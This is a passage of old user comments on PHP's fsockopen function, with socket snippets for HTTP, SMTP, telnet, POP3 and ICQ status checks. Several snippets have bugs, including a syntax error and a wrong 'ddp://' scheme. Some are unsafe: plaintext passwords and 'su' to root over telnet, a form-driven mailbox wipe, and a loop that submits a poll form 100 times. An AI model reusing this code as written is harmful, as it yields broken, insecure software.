$fp = fsockopen($remip, 113, $errno, $errstr, 2);
if (!$fp) {
   echo "$errstr ($errno)<br>\n";
   exit;
}
else {
   $out = "$remport, 80\r\n";
   fwrite($fp, $out);
   $answer=fgets($fp, 128);
}
fclose($fp);
$ansparts=explode(":",$answer);
$user=chop($ansparts[3]);
echo "You are $user@$remip:$remport";

?>
Kiki_EF 27-Oct-2005 12:20
Additional ICQ status request over proxy
<?php
function icq_uin($uin)
{
    if (! is_numeric($uin))
        return false;
    $proxy_name = 'proxy.mydomain.de';
    $proxy_port = 8080;
    $proxy_user = "";
    $proxy_pass = "";
    $proxy_cont = '';
    $request_url = "http://status.icq.com/online.gif?icq=$uin";

    $proxy_fp = fsockopen($proxy_name, $proxy_port);
    if (!$proxy_fp)
        return false;
    fputs($proxy_fp, "GET $request_url HTTP/1.0\r\nHost: $proxy_name\r\n");
    fputs($proxy_fp, "Proxy-Authorization: Basic ". base64_encode ("$proxy_user:$proxy_pass")."\r\n\r\n");
    while(!feof($proxy_fp)){
        $proxy_cont .= fread($proxy_fp,4096);
    }
    fclose($proxy_fp);
    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    if (strstr($proxy_cont, 'online1'))
        return 'online';
    if (strstr($proxy_cont, 'online0'))
        return 'offline';
    if (strstr($proxy_cont, 'online2'))
        return 'disabled';
}
echo "User is ".icq_uin(123456789012345);
?>

Thanx

[EDIT BY danbrown AT php DOT net: Based on code provided in a note by (rafaelbc AT matrix DOT com DOT br) on 23-MAY-09, which has since been removed.]
robin at pozytron dot com 21-Aug-2005 03:38
I have found, when using fsockopen() and the POST method, that using HTTP/1.1 is VERY significantly slower than HTTP/1.0 (at least for the server I'm querying, an Orion-based server). Also, using cURL tended to be faster than fsockopen(), though only slightly. For example, here was a recent set of data (for the same exact request in each case):

cURL: 4.2sec
fsockopen() HTTP/1.0: 4.9sec
fsockopen() HTTP/1.1: 19.9sec (!)

I'm not sure why this was occurring. Perhaps it has something to do with the Orion server, which I have little experience with. However, it was not a fluke, and I double-checked the code to make sure there were no errors.

EDITORS NOTE: HTTP/1.1 uses persistent connection causing this delay. Use "Connection: close" header to disable it.
dna at revold-design dot de 10-Aug-2005 05:04
Something useful for ICQ:
<?php
$icquin = "197829943";
function GetICQ($uin) {
    if (!is_numeric($uin)) return FALSE;

    $fp = fsockopen('status.icq.com', 80, $errno, $errstr, 8);
    if (!$fp) {
    return "N/A";
        }
    else {

    $request = "HEAD /online.gif?icq=$uin HTTP/1.0\r\n"
              ."Host: web.icq.com\r\n"
              ."Connection: close\r\n\r\n";
    fputs($fp, $request);

    do {
        $response = fgets($fp, 1024);
    }
    while (!feof($fp) && !stristr($response, 'Location'));

    fclose($fp);

    if (strstr($response, 'online1')) return 'Online';
    if (strstr($response, 'online0')) return 'Offline';
    if (strstr($response, 'online2')) return 'N/A';
    // N/A means, this User set the Option, his Online
    // Status cannot be shown over the Internet

    return FALSE;
    }
}

echo GetICQ($icquin);
?>
richard dot lajaunie at cote-azur dot cci dot fr 19-May-2005 12:10
<?php
/************************************************************
* Author: Richard Lajaunie
* Mail : richard.lajaunie@cote-azur.cci.fr
*
* subject : this script retreive all mac-addresses on all ports
* of a Cisco 3548 Switch by a telnet connection
*
* base on the script by: xbensemhoun at t-systems dot fr
**************************************************************/

if ( array_key_exists(1, $argv) ){
   $cfgServer = $argv[1];
}else{
   echo "ex: 'php test.php 10.0.0.0' \n";
   exit;
}

$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr), $cfgTimeOut);

if(!$usenet){
       echo "Connexion failed\n";
       exit();
}else{
       echo "Connected\n";
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "sh mac-address-table\r\n");
       fputs ($usenet, " "); // this space bar is this for long output

       // this skip non essential text
       $j = 0;
       while ($j<16){
       fgets($usenet, 128);
       $j++;
       }
   stream_set_timeout($usenet, 2); // set the timeout for the fgets
   $j = 0;
       while (!feof($usenet)){
       $ret = fgets($usenet, 128);
       $ret = str_replace("\r", '', $ret);
       $ret = str_replace("\n", "", $ret);
       if  (ereg("FastEthernet", $ret)){
           echo "$ret \n";
       }
       if (ereg('--More--', $ret) ){
           fputs ($usenet, " "); // for following page
       }
       $info = stream_get_meta_data($usenet);
       if ($info['timed_out']) {
           $j++;
       }
       if ($j >2){
           fputs ($usenet, "lo");
           break;
       }
   }
}
echo "End.\r\n";
?>
saul dot dobney at dobney dot com 19-Apr-2005 08:40
If you are using fsockopen to access webpage, but come across a redirect (Location: ) in the header and want to find and follow the redirect as in this snippet:

<?php
while (!feof($fp)) {
   $line=fgets($fp, 1024);
   if (stristr($line,"location:")!="") {
    $redirect=preg_replace("/location:/i","",$line);
   }
}
?>

Then don't forget to <?php $redirect = trim($redirect); ?> before trying to follow this new link as $redirect actually has a \r\n on the end of it and won't give you a valid path in the next iteration otherwise. A six hour bug.

Saul Dobney
nospam at cronjob dot de 17-Apr-2005 05:06
Be careful if you open a lot of sockets in one php-file!
I had a script which checked a lot of domains and opened sockets to the whois-server. Even that I closed the connections after I checked a domain (fclose), the sockets seemed to stay open. After a while (about 1000 connections) the php-script couldn't open any more sockets.
It took a while to fix this problem. I did this by writing a script which started the check-scripts with wget (or lynx). I started 5 scripts parallel and just checked 20 domains. After that new 5 scripts where opened. That helped me not to open too many sockets in one php-file because when a php-script ends, all open sockets are closed.

Example:

start.php:
<?php
ignore_user_abort(true);
for($i=0; $i<100; $i++) {
    echo $i."- "; flush();
    $exec_string = 'lynx http://example.com/whois.php &';
    $output = `$exec_string`;
    sleep(10);
    $exec_string = 'killall lynx';
    $output = `$exec_string`;
}
?>

whois.php:
<?php
ignore_user_abort(true);
for($i=0; $i<50; $i++) {
    fsockopen(whois.server...);
    // here you process the whois-things
}
?>

Hope this'll help some people!
ahauk at NO-SPAM dot synergynt dot net 28-Mar-2005 02:38
The following script will login to a POP3 account using the username, password and server name provided via a standard form; determine the amount of messages using a binary search; then purge all messages.

<?php
    $server = $_POST["server"];
    $user = $_POST["user"];
    $pass = $_POST["pass"];
    $count = 1;
    $low = 0;
    $mid = 0;
    $high = 100000;
    $connection = fsockopen($server, 110, $errno, $errstr, 30);

    if(!$connection) {
        print "Connect Failed: $errstr ($errno)";
    } else {
        $output = fgets($connection, 128);
        fputs($connection, "user $user\n");
        $output = fgets($connection, 128);
        fputs($connection, "pass $pass\n");
        $output = fgets($connection, 128);
        while($low < $high - 1) {
            $mid = floor(($low + $high) / 2);
            fputs($connection, "list $mid\n");
            $output = fgets($connection, 128);
            $subout = substr($output, 0, 4);
            if($subout == "+OK ") {
                $low = $mid;
                continue;
            }
            elseif($subout == "-ERR") {
                    $high = $mid;
                    continue;
            } else {
                break;
                print "An error has occurred. Please try again.";
            }
        }
        $limit = $mid - 1;
        while($count <= $limit) {
            fputs($connection, "dele $count\n");
            fgets($connection, 128);
            $count = $count + 1;
        }
        fputs($connection, "quit\n");
    }
    fclose($connection);
    print "Successfully removed $limit messages.";
?>
lukas at MORESPAM dot jhu dot edu 05-Mar-2005 07:29
Here's a function that I needed and couldn't use CURL... it helps you if you want to send the POST data (instead of GET) from one form to 2 or more other PHP scripts.  Trust me... it's a life saver!!

<?php
      function HTTP_Post($URL,$data, $referrer="") {

        // parsing the given URL
        $URL_Info=parse_url($URL);

        // Building referrer
        if($referrer=="") // if not given use this script as referrer
          $referrer=$_SERVER["SCRIPT_URI"];

        // making string from $data
        foreach($data as $key=>$value)
          $values[]="$key=".urlencode($value);
        $data_string=implode("&",$values);

        // Find out which port is needed - if not given use standard (=80)
        if(!isset($URL_Info["port"]))
          $URL_Info["port"]=80;

        // building POST-request:
        $request.="POST ".$URL_Info["path"]." HTTP/1.1\n";
        $request.="Host: ".$URL_Info["host"]."\n";
        $request.="Referer: $referer\n";
        $request.="Content-type: application/x-www-form-urlencoded\n";
        $request.="Content-length: ".strlen($data_string)."\n";
        $request.="Connection: close\n";
        $request.="\n";
        $request.=$data_string."\n";

        $fp = fsockopen($URL_Info["host"],$URL_Info["port"]);
        fputs($fp, $request);
        while(!feof($fp)) {
            $result .= fgets($fp, 128);
        }
        fclose($fp);

        return $result;
      }

      $output1=HTTP_Post("http://www.example.com/script1.php",$_POST);
      $output2=HTTP_Post("http://www.example.net/script2.php",$_POST);
?>
dante at dantecubed dot com 23-Feb-2005 04:00
You may be able to speed this function up by using an IP address instead of a domain. PHP uses getHostByAddr internally in this function anyway, so you can save a step in the function process.
konrad dot meyer at gmail dot com 12-Feb-2005 01:34
The documentation example is of a GET request. I have found POST documentation to be lacking, and here's a function to easily simulate submitting form data:

<?php
# $host includes host and path and filename
    # ex: "myserver.com/this/is/path/to/file.php"
# $query is the POST query data
    # ex: "a=thisstring&number=46&string=thatstring
# $others is any extra headers you want to send
    # ex: "Accept-Encoding: compress, gzip\r\n"
function post($host,$query,$others=''){
    $path=explode('/',$host);
    $host=$path[0];
    unset($path[0]);
    $path='/'.(implode('/',$path));
    $post="POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\n${others}User-Agent: Mozilla 4.0\r\nContent-length: ".strlen($query)."\r\nConnection: close\r\n\r\n$query";
    $h=fsockopen($host,80);
    fwrite($h,$post);
    for($a=0,$r='';!$a;){
        $b=fread($h,8192);
        $r.=$b;
        $a=(($b=='')?1:0);
    }
    fclose($h);
    return $r;
}
?>
edwin at bitstorm dot org 02-Dec-2004 05:50
Here's a function to just fetch the contents behind an URL.

<?php
function fetchURL( $url ) {
    $url_parsed = parse_url($url);
    $host = $url_parsed["host"];
    $port = $url_parsed["port"];
    if ($port==0)
        $port = 80;
    $path = $url_parsed["path"];
    if ($url_parsed["query"] != "")
        $path .= "?".$url_parsed["query"];

    $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

    $fp = fsockopen($host, $port, $errno, $errstr, 30);

    fwrite($fp, $out);
    $body = false;
    while (!feof($fp)) {
        $s = fgets($fp, 1024);
        if ( $body )
            $in .= $s;
        if ( $s == "\r\n" )
            $body = true;
    }

    fclose($fp);

    return $in;
}
?>
Simon Riget at paragi.com 17-Nov-2004 08:25
Ping from PHP script. (Without system call)

This is of cause not a real ping since there is no support for ICMP. So it can't send a packet and get it back. But the important thing is to get a response from the server, even if it is only a ICMP  error message. That way it verifies the servers existens and calculate the round trip time, which is the essential function of ping. It work well on all servers I have tried, with the echo service running.

<?php
$host='www.php.com';
$timeout=2;

//Open the socket
$handle=fsockopen('ddp://'.$host, 7, $errno, $errstr, $timeout);
if (!$handle)
     echo "$errstr ($errno)<br>\r\n";
else {
    //Set read timeout
    stream_set_timeout($handle, $timeout);
    for($i=0;$i<3;$i++){
        //Time the responce
        list($usec, $sec) = explode(" ", microtime(true));
      $start=(float)$usec + (float)$sec;

        //send somthing
         $write=fwrite($handle,"echo this\n");
        if(!$write){
            echo "Error in writing to socked<br>\r\n";
            break;
        }
        echo 'Send packet to '.$host;

        //Try to read. the server will most likely respond with a "ICMP Destination Unreachable" and end the read. But that is a responce!
        fread($handle,1024);

        //Work out if we got a responce and time it
        list($usec, $sec) = explode(" ", microtime(true));
        $laptime=((float)$usec + (float)$sec)-$start;
        if($laptime>$timeout)
            echo " : No reply<br>\r\n";
        else
            echo " : Round trip = ".round($laptime,3)." s<br>\r\n";
    }
    fclose($handle);
}
?>
michiel at parse dot nl 25-Oct-2004 04:42
The following snippet allows you to retrieve the title of a page.

Great for rewriting auto-url detectors to display the actual title rather then http://...

<?php
echo get_url_title("http://www.php.net/cal.php?id=409");

function get_url_title($url, $timeout = 2)
{
    $url = parse_url($url);

    if(!in_array($url['scheme'],array('','http')))
        return;

    $fp = fsockopen ($url['host'], ($url['port'] > 0 ? $url['port'] : 80), $errno, $errstr, $timeout);
    if (!$fp)
    {
        return;
        // echo "$errstr ($errno)<br>\n";
    }
    else
    {
        fputs ($fp, "GET /".$url['path'].($url['query'] ? '?'.$url['query'] : '')." HTTP/1.0\r\nHost: ".$url['host']."\r\n\r\n");
        $d = '';
        while (!feof($fp))
        {
            $d .= fgets ($fp,2048);

            if(preg_match('~(</head>|<body>|(<title>\s*(.*?)\s*</title>))~i', $d, $m))
                break;
        }
        fclose ($fp);

        return $m[3];
    }
}
?>
bjorn (at) ahusonline dot com 21-May-2004 04:50
Modified code for telnet to work with not-so-fast connections.
The old version garbles the output and/or cuts the output before
it is finished when output is above about 100 lines.

<?php
# This is the difficult part, the Telnet header
$header1=chr(0xFF).chr(0xFB).chr(0x1F).chr(0xFF).chr(0xFB).
chr(0x20).chr(0xFF).chr(0xFB).chr(0x18).chr(0xFF).chr(0xFB).
chr(0x27).chr(0xFF).chr(0xFD).chr(0x01).chr(0xFF).chr(0xFB).
chr(0x03).chr(0xFF).chr(0xFD).chr(0x03).chr(0xFF).chr(0xFC).
chr(0x23).chr(0xFF).chr(0xFC).chr(0x24).chr(0xFF).chr(0xFA).
chr(0x1F).chr(0x00).chr(0x50).chr(0x00).chr(0x18).chr(0xFF).
chr(0xF0).chr(0xFF).chr(0xFA).chr(0x20).chr(0x00).chr(0x33).
chr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0x2C).chr(0x33).
chr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0xFF).chr(0xF0).
chr(0xFF).chr(0xFA).chr(0x27).chr(0x00).chr(0xFF).chr(0xF0).
chr(0xFF).chr(0xFA).chr(0x18).chr(0x00).chr(0x58).chr(0x54).
chr(0x45).chr(0x52).chr(0x4D).chr(0xFF).chr(0xF0);
$header2=chr(0xFF).chr(0xFC).chr(0x01).chr(0xFF).chr(0xFC).
chr(0x22).chr(0xFF).chr(0xFE).chr(0x05).chr(0xFF).chr(0xFC).chr(0x21);

# connecting
$fp=fsockopen("127.0.0.1",23);

# sending the Telnet header
fputs($fp,$header1);
usleep(125000);
fputs($fp,$header2);
usleep(125000);

# login
fputs($fp,"user\r");
usleep(125000);
fputs($fp,"users.pass\r");
usleep(125000);
# root looks nice
fputs($fp,"su\r");
usleep(125000); # takes some time, we had to wait
fputs($fp,"root.pass\r");

# some tests
fputs($fp,"ifconfig\r");
fputs($fp,"echo year telnet php connect works|wall\r");

# we had to wait
usleep(125000);

# show the output
do
{
    $output.=fread($fp, 80);    // read line by line, or at least small chunks
    $stat=socket_get_status($fp);
}
while($stat["unread_bytes"]);

$output = str_replace("\n", "<br>", $output);
echo $output;
fclose($fp);
?>
alex at renesource dot lv 16-Mar-2004 11:07
Set up SSL connection to server that requires client certificate:

Convert client certificate from *.pfx (pkcs12) into*.pem with openssl (if needed):

> openssl pkcs12 -in keys.pfx -out keys.pem

PHP:

<?php
$context = stream_context_create();
$result = stream_context_set_option($context, 'ssl', 'local_cert', '/path/to/keys.pem');
$result = stream_context_set_option($context, 'ssl', 'passphrase', 'pass_to_access_keys');

$socket = fsockopen('ssl://'.$host, 443, $errno, $errstr, 30, $context);
?>
jack at jtr dot de 16-Feb-2004 02:05
Here is a function for testing a website/URI for availability:

<?php
    /*
    * @return boolean
    * @param  string $link
    * @desc   Überprüft die angegeben URL auf Erreichbarkeit (HTTP-Code: 200)
    */
    function url_validate( $link )
    {
        $url_parts = @parse_url( $link );

        if ( empty( $url_parts["host"] ) ) return( false );

        if ( !empty( $url_parts["path"] ) )
        {
            $documentpath = $url_parts["path"];
        }
        else
        {
            $documentpath = "/";
        }

        if ( !empty( $url_parts["query"] ) )
        {
            $documentpath .= "?" . $url_parts["query"];
        }

        $host = $url_parts["host"];
        $port = $url_parts["port"];
        // Now (HTTP-)GET $documentpath at $host";

        if (empty( $port ) ) $port = "80";
        $socket = @fsockopen( $host, $port, $errno, $errstr, 30 );
        if (!$socket)
        {
            return(false);
        }
        else
        {
            fwrite ($socket, "HEAD ".$documentpath." HTTP/1.0\r\nHost: $host\r\n\r\n");
            $http_response = fgets( $socket, 22 );

            if ( ereg("200 OK", $http_response, $regs ) )
            {
                return(true);
                fclose( $socket );
            } else
            {
//                echo "HTTP-Response: $http_response<br>";
                return(false);
            }
        }
    }
?>
sir_reality2001 at yahoo dot com 13-Feb-2004 09:45
<?php
// This script is an example of posting multiple files using
// fsockopen.
// The tricky part is making sure the HTTP headers and file boundaries are acceptable to the target webserver.
// This script is for example purposes only and could/should be improved upon.

$host='targethost';
$port=80;
$path='/test/socket/file_upload/receive_files.php';

// the file you want to upload
$file_array[0] = "dingoboy.gif"; // the file
$file_array[1] = "dingoboy2.gif"; // the file
$file_array[2] = "dingoboy3.gif"; // the file
$content_type = "image/gif"; // the file mime type
//$content_type = "text/plain";
//echo "file_array[0]:$file_array[0]<br><br>";

srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);

$data = "--$boundary";

for($i=0;$i<count($file_array);$i++){
   $content_file = join("", file($file_array[$i]));

   $data.="
Content-Disposition: form-data; name=\"file".($i+1)."\"; filename=\"$file_array[$i]\"
Content-Type: $content_type

$content_file
--$boundary";

}

$data.="--\r\n\r\n";

$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";

$result="";

// open the connection
$f = fsockopen($host, $port);

fputs($f,$msg.$data);

// get the response
while (!feof($f)) $result .= fread($f,32000);

fclose($f);

?>
rob at robhulme dot com 23-Jan-2004 09:17
Just a note to everyone who is using fsockopen and fread / fgets for a HTTP connection.

Unless you specify "Connection: Close" in your headers you will need to wait for the socket to time out before feof($streamPointer) to return true.

This has wasted 2 days of my time, grr!

-Rob
asalamanca at redcetus dot com 18-Nov-2003 11:27
This is a very fast program for test a form or link (many times).
<?php
$repeat  = 100;  // How many times repeat the test

$timeout = 100;  // Max time for stablish the conection
$size    = 16;   // Bytes will be read (and display). 0 for read all

$server  = '127.0.0.1';            // IP address
$host    = 'www.example.net';             // Domain name
$target  = '/poll/answer.asp';        // Specific program
$referer = 'http://www.example.com/';    // Referer
$port    = 80;

// Setup an array of fields to get with then create the get string
$gets = array ( 'get_field_1' => 'somevalue',
                'get_field_2' => 'somevalue' );

// Setup an array of fields to post with then create the post string
$posts = array ( 'post_field_1' => 'somevalue',
                 'post_field_2' => 'somevalue' );

// That's all. Now the program proccess $repeat times

$method = "GET";
if ( is_array( $gets ) ) {
    $getValues = '?';
    foreach( $gets AS $name => $value ){
        $getValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $getValues = substr( $getValues, 0, -1 );
} else {
    $getValues = '';
}

if ( is_array( $posts ) ) {
    foreach( $posts AS $name => $value ){
        $postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $postValues = substr( $postValues, 0, -1 );
    $method = "POST";
} else {
    $postValues = '';
}

$request  = "$method $target$getValues HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
$request .= "Gecko/20021204\r\n";
$request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$request .= "Accept-Language: en-us, en;q=0.50\r\n";
$request .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: $referer\r\n";
$request .= "Cache-Control: max-age=0\r\n";

if ( $method == "POST" ) {
    $lenght = strlen( $postValues );
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $request .= "Content-Length: $lenght\r\n";
    $request .= "\r\n";
    $request .= $postValues;
}

for ( $i = 0; $i < $repeat; $i++ ) {
    $socket  = fsockopen( $server, $port, $errno, $errstr, $timeout );
    fputs( $socket, $request );
    if ( $size > 0 ) {
        $ret = fgets( $socket, $size );
    } else {
        $ret = '';
        while ( !feof( $socket ) ) {
            $ret .= fgets( $socket, 4096 );
        }
    }
    fclose( $socket );
    echo "<hr> $i -- $content $ret";
}
?>

Alejandro Salamanca
terminal 23-Oct-2003 12:30
Try this.
Use AUTH when necessary.
Read RFC 821 when having problems.

<?php

    $handle = smtp_connect($smtp_server, 25, 30, 1, 1, 1);
    echo smtp_command($handle, "EHLO $domain\r\n", 1, 1);
    echo smtp_command($handle, "MAIL FROM:<$from_mail>\r\n", 1, 1);
    echo smtp_command($handle, "RCPT TO:<$to_mail>\r\n", 1, 1);
    echo smtp_command($handle, "DATA\r\n", 1, 1);
    echo smtp_command($handle, "$message\r\n.\r\n", 1, 1);
    // don't do it like this - it will hang up
    // echo smtp_command($handle, "$message", 1, 1);
    // echo smtp_command($handle, "\r\n.\r\n", 1, 1);
    echo smtp_command($handle, "QUIT\r\n", 1, 1);
    smtp_close($handle);

    function smtp_connect($host, $port, $timeout=30, $echo_command=False, $echo_response=False, $nl2br=False)
    {
        $errno = 0;
        $errstr = 0;
        if($echo_command)
        {
            if($nl2br) { echo nl2br("CONNECTING TO $host\r\n"); }
            else { echo "CONNECTING TO $host\r\n"; }
        }
        $handle = fsockopen($host, $port, $errno, $errstr, $timeout);
        if(!$handle)
        {
            if($echo_command)
            {
                if($nl2br) { echo nl2br("CONNECTION FAILED\r\n"); }
                else { echo "CONNECTION FAILED\r\n"; }
            }
            return False;
        }
        if($echo_command)
        {
            if($nl2br) { echo nl2br("SUCCESS\r\n"); }
            else { echo "SUCCESS\r\n"; }
        }
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($echo_response)
        {
            if($nl2br) { echo nl2br($response); }
            else { echo $response; }
        }
        return $handle;
    }

    function smtp_command($handle, $command, $echo_command=False, $nl2br=False)
    {
        if($echo_command)
        {
            if($nl2br) { echo nl2br($command); }
            else { echo $command; }
        }
        fputs($handle, $command);
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($nl2br) { return nl2br($response); }
        else { return $response; }
    }

    function smtp_close($handle)
    {
        fclose($handle);
    }
?>
richardaburton at hotmail dot com 19-Oct-2003 08:29
Improved HTTP/1.1 chunked transfer-encoding example.

The sample code given below by Jack does not function correctly when run against a recent version of Apache (I'm assuming that this did once work, but from the HTTP/1.1 spec I can only assume if it did work it was based mostly on luck).

<?php

$header = "";
$response = "";

// connect
if (!($request=fsockopen('example.com',80,$errno,$errstr))) exit($errstr);
else {
   socket_set_timeout($request,10);
   // send request
   fwrite($request,$post);
   // get header
   do $header.=fread($request,1); while (!preg_match('/\\r\\n\\r\\n$/',$header));
   // check for chunked encoding
   if (preg_match('/Transfer\\-Encoding:\\s+chunked\\r\\n/',$header))
      do {
         $byte = "";
         $chunk_size="";
         do {
            $chunk_size.=$byte;
            $byte=fread($request,1);
         } while ($byte!="\\r");      // till we match the CR
         fread($request, 1);         // also drop off the LF
         $chunk_size=hexdec($chunk_size); // convert to real number
         $response.=fread($request,$chunk_size);
         fread($request,2);          // ditch the CRLF that trails the chunk
      } while ($chunk_size);         // till we reach the 0 length chunk (end marker)
   else {
      // check for specified content length
      if (preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/',$header,$matches)) {
         $response=fread($request,$matches[1]);
      } else {
         // not a nice way to do it (may also result in extra CRLF which trails the real content???)
         while (!feof($request)) $response .= fread($request, 4096);
      }
   }
   // close connection
   fclose($request);
}

// do something useful with the response
print($header);
print($response);

?>

Richard.
joe at edwardsconsultants dot com 10-Aug-2003 02:56
just a quick note for users attempting https and thinking they must resort to curl or alternate methods -
you can use fsockopen, just read the docs closely.  basically they are saying to use 'ssl://' for a HTTPS (SSL) web request.

so this would work for authorize.net, and others; even for that paypal IPN - however I think it would be best to leave the site and deal with paypal's form:

<?php
$host = "something.example.com";
$port = 443;
$path = "/the/url/path/file.php"; //or .dll, etc. for authnet, etc.

//you will need to setup an array of fields to post with
//then create the post string
$formdata = array ( "x_field" => "somevalue");
//build the post string
  foreach($formdata AS $key => $val){
    $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
  }
// strip off trailing ampersand
$poststring = substr($poststring, 0, -1);

$fp = fsockopen("ssl://".$host, $port, $errno, $errstr, $timeout = 30);

if(!$fp){
 //error tell us
 echo "$errstr ($errno)\n";

}else{

  //send the server request
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ".strlen($poststring)."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $poststring . "\r\n\r\n");

  //loop through the response from the server
  while(!feof($fp)) {
    echo fgets($fp, 4096);
  }
  //close fp - we are done with it
  fclose($fp);
}
?>
sergiopaternoster at tiscali dot it 30-Jul-2003 10:49
If you want to connect via Telnet, it could be useful to set also the Terminal Type (some OS requires it)

<?php
$IAC  = chr(255);   /* interpret as command: */
$SB = chr(250);     /* interpret as subnegotiation */
$SE = chr(240);     /* end sub negotiation */
$TELOPT_TTYPE = chr(24);     /* terminal type */
$TELQUAL_IS = chr(0);    /* Option is... */

//sending Terminal Type
fwrite($sock,$IAC.$SB.$TELOPT_TTYPE.$TELQUAL_IS.'vt100'.$IAC.$SE);
?>

ciao
Sergio Paternoster
brage (a t) jeffnappi (d.o.t) commie 10-Jul-2003 02:16
thought you guys may appreciate this function, allows you to pass an array of urls to download and does so simultaneously using non-blocking sockets, then returns the data in an array.

<?php
// function connects to an array of URLS at the same time
// and returns an array of results.

function multiHTTP ($urlArr) {
 $sockets = Array(); // socket array!
 $urlInfo = Array(); // info arr
 $retDone = Array();
 $retData = Array();
 $errno   = Array();
 $errstr  = Array();
 for ($x=0;$x<count($urlArr);$x++) {
  $urlInfo[$x] = parse_url($urlArr[$x]);
  $urlInfo[$x][port] = ($urlInfo[$x][port]) ? $urlInfo[$x][port] : 80;
  $urlInfo[$x][path] = ($urlInfo[$x][path]) ? $urlInfo[$x][path] : "/";
  $sockets[$x] = fsockopen($urlInfo[$x][host], $urlInfo[$x][port],
                           $errno[$x], $errstr[$x], 30);
  socket_set_blocking($sockets[$x],FALSE);
  $query = ($urlInfo[$x][query]) ? "?" . $urlInfo[$x][query] : "";
  fputs($sockets[$x],"GET " . $urlInfo[$x][path] . "$query HTTP/1.0\r\nHost: " .
        $urlInfo[$x][host] . "\r\n\r\n");
 }
 // ok read the data from each one
 $done = false;
 while (!$done) {
  for ($x=0; $x < count($urlArr);$x++) {
   if (!feof($sockets[$x])) {
    if ($retData[$x]) {
     $retData[$x] .= fgets($sockets[$x],128);
    } else {
     $retData[$x] = fgets($sockets[$x],128);
    }
   } else {
    $retDone[$x] = 1;
   }
  }
  $done = (array_sum($retDone) == count($urlArr));
 }
 return $retData;
}
?>
xbensemhoun at t-systems dot fr 25-Jun-2003 02:48
To make a telnet connection with a Cisco router:

<?php
$cfgServer = "nnn.nnn.nnn.nnn";  //IP of your router
$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr, $cfgTimeOut);

if(!$usenet)
        {
        echo "Connexion failed\n";
        exit();
        }
else
        {
        echo "Connected\n<BR>";
        fputs ($usenet, "toto\r\n");
        fputs ($usenet, "en\r\n");
        fputs ($usenet, "tutu\r\n");
        fputs ($usenet, "exit\r\n");
        while (!feof($usenet))
                {
                echo ". ".fgets($usenet, 128)."<BR>\n";
                }
        }
?>

Then you will have:
Connected
. ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½
.
. User Access Verification
.
. Password:
. testXB>en
. Password:
. testXB#exit
.
blazely at removetoemail netspace net au 08-Jun-2003 09:55
Here's a quick function to establish a connection to a web server that will time out if the connection is lost after a user definable amount of time or if the server can't be reached.

Also supports Basic authentication if a username/password is specified. Any improvements or criticisms, please email me! :-)

Returns either a resource ID, an error code or 0 if the server can't be reached at all. Returns -1 in the event that something really wierd happens like a non-standard http response or something. Hope it helps someone.

Cheers,

Ben Blazely

<?php
function connectToURL($addr, $port, $path, $user="", $pass="", $timeout="30")
{
 $urlHandle = fsockopen($addr, $port, $errno, $errstr, $timeout);
 if ($urlHandle)
 {
  socket_set_timeout($urlHandle, $timeout);
  if ($path)
  {
   $urlString = "GET $path HTTP/1.0\r\nHost: $addr\r\nConnection: Keep-Alive\r\nUser-Agent: MyURLGrabber\r\n";
   if ($user)
    $urlString .= "Authorization: Basic ".base64_encode("$user:$pass")."\r\n";
    $urlString .= "\r\n";

    fputs($urlHandle, $urlString);

    $response = fgets($urlHandle);

    if (substr_count($response, "200 OK") > 0)      // Check the status of the link
    {
     $endHeader = false;                     // Strip initial header information
     while ( !$endHeader)
     {
      if (fgets($urlHandle) == "\r\n")
       $endHeader = true;
     }

     return $urlHandle;                      // All OK, return the file handle
    }
    else if (strlen($response) < 15)                // Cope with wierd non standard responses
    {
     fclose($urlHandle);
     return -1;
    }
    else                                            // Cope with a standard error response
    {
     fclose($urlHandle);
     return substr($response,9,3);
    }
   }

   return $urlHandle;
  }
  else
  {
   return 0;
  }
 }
}
?>
Ignacio Sbampato 04-May-2003 10:49
You can know from which country are your visitors sending a query to ip-to-country online tool using code below:

****************************************

<?php
$ip = $REMOTE_ADDR;

$doc = "/get-country/?ip=" . $ip . "&user=guest&pass=guest";
$url = "ip-to-country.com";

$fp = fsockopen ($url, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br/>\n";
} else {
